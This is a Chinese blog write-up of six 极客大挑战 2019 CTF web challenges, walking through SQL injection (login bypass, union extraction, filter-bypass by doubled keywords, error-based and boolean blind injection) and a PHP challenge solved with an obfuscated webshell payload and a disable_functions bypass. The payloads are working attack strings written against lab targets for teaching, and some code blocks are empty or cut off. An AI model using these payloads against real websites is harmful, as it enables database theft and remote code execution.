极客大挑战题目解析
这里是极客大挑战五个sql注入题目的解析合集,都是常用的注入姿势,入门到基础级的。
[极客大挑战 2019]EasySQL
万能密码登录管理员账户即可,这里注意一下,万能密码用的时候注意是字符型还是整形,这个题是字符型,即:
-1' or '1'='1 |
如果是整形,则用万能密码:
-1' or 1=1 |
万能密码还有很多,可以参考网上的信息,这里有一个:https://www.cnblogs.com/pass-A/p/11134988.html
[极客大挑战 2019]LoveSQL
考察常见的万能密码登录以及union select
注入
题目分析
进入题目看到是一个登录框,经过尝试发现字符型的万能密码1' or '1'='1
可以登录,并且在username
和password
处都存在注入点,然后进行常规的注入就行了。
解题
爆库:
/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(schema_name)+from+information_schema.schemata%23 |
爆表名:
/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)+from+information_schema.tables%20where%20table_schema%3Ddatabase()%20%23 |
可以看到一个表名l0ve1ysq1
,flag应该在其中,那么就看一下这个表包含的列
爆列名:
/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3D'l0ve1ysq1'%20%23 |
看到存在password
列,flag应该在其中
查字段:
/check.php?username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23 |
如图,成功拿到flag。
[极客大挑战 2019]BabySQL
考察双写绕过
题目分析
在登陆窗口,利用万能密码的时候直接1' or '1'='1
发现不行,但是1' oorr '1'='1
可以,由此猜测考察双写绕过。
通过测试发现了or
、from
、union
、select
、where
被替换为空了,因此需要利用双写绕过。
解题
首先利用双写爆库:
/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23 |
然后爆表名:
/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23 |
爆列名:
/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name%3D'b4bsql'%23 |
拿flag:
/check.php?username=admin&password=admin' uniounionn selecselectt 1,2,group_concat(passwoorrd)%20frfromom%20b4bsql%23 |
[极客大挑战 2019]HardSQL
主要考察报错注入,同时还考察对空格过滤的绕过,以及利用left
和right
截取函数读取完整flag。
关于报错注入的讲解,我的博客里还有,在标签里可以找到。
解题
本题学到了一个新点:用^
代替空格来连接updatexml
函数。
首先拿库名:
/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)%23 |
注意这里的#一定要用urlencode之后的%23,否则会提示语法错误,也没搞清楚原因,可以参考一下这里,建议在对url进行操作的时候还是都先编码一下。
拿到库名:
爆表名:
/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)%23 |
这里用到了like
,可以参考一下这里
查列名
/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1) |
拿flag,由于updtexml
最多显示32
个字符的长度,导致flag显示不全。可以用substr
截取,但是发现substr
被过滤了,然后参考网上学到了用left
和right
截取函数分两次把完整的flag查出来了。
/check.php?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)%23 |
[极客大挑战 2019]FinalSQL
考察布尔盲注
题目分析
进入题目发现多了五个按钮,并且提示中有SQL盲注
的字样,猜测就是考它的了。
这里可以的地方就是五个按钮了,点击之后发现时用di
传参,注入点多半在这里。由于这里传的值是1-5,猜测是布尔盲注,便用常用的姿势测试一下:构造id=1^1
和id=1^0
发现回显不同,前者返回ERROR!!!
(注意这里的返回跟其他错误不一样,其他错误回显是ERROR!
)后者是id=1
的页面,说明了就是布尔盲注。
关于布尔盲注可以参考这里
这里需要用到的函数如下:
Length()函数 返回字符串的长度 |
那么构造类似id=1^(length(database())>10)^1
的语句,便可以爆破出数据库名的长度,然后再利用id=1^(ascii(substr((select(database())),1,1))>100)^1
payload来爆破出数据库名,同理可以爆破出表名和最后的flag。
布尔盲注一般都借助python脚本来解,大致的代码逻辑是一样的,这里贴出利用二分爆破的脚本,效率比较高:
import re |
这个题比较坑的就是要读的内容很多,flag也在后面,加上服务器性能和网络性能的原因一直读不全内容,后来多次测试,flag大概在第170个字符后面,将i
的起始大小改一下就行了。
脚本也可以用于其他布尔盲注的题目,根据题目特点更改即可。
[极客大挑战 2019]RCE ME
考察利用PHP 7函数解析特性绕过正则巧取webshell、利用环境变量绕过functions_disable。
题目分析
进入题目给出如下源码:
|
可以看到,需要绕过长度判断和正则,并且这个正则把所有字母和数字都在其中。查资料得知可以利用PHP 7的解析特性来绕过。
这就说明:
phpinfo() #php5、php7可执行 |
另外,之前刷题的一篇博客写到过,我们可以利用取反~
来绕过对字符的过滤。在php7的环境中,我们可以使用编码转换等形式,将phpinfo
转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有利用^
和~
生成的不可见字符,这里更倾向于使用~
求反运算符。
可以利用如下代码生成payload:
|
效果如下:
同时也可以看到禁用了很多函数,而assert
不再其中,因此可以利用它来拿到shell,先放着。
下一步利用php的函数看一下目录:
print_r(scandir('./')); |
编码之后为:
%8F%8D%96%91%8B%A0%8D # print_r |
构造如下payload读取当前目录内容:
code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./"))); |
根目录呢?
直接用readfile()
读取flag
文件是读不到的,因为是个二进制文件,那么就需要拿到shell执行readflag
来拿到flag了。
而这题拿到shell可以利用前面提到的编码来获取,也可以用之前讲过的利用部分汉字异或来构造POST
或GET
传参来拿到shell,然后需要bypass functions_disable了。
解题
利用如下payload拿到shell:
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27]) |
然后蚁剑连上,接下来就是利用环境变量bypass了,最近在不断收集bypass的exp,今天又找到一个。
我们把exp中的bypass_disablefunc_x64.so
和bypass_disablefunc.php
写入到/var/tmp
路径下,然后利用如下payload访问:
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/result&sopath=/var/tmp/bypass_disablefunc_x64.so |
- Post Title: 极客大挑战题目解析
- Post Author: ggb0n
- Post Link: http://ggb0n.cool/2020/02/14/极客大挑战SQL注入题目解析/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制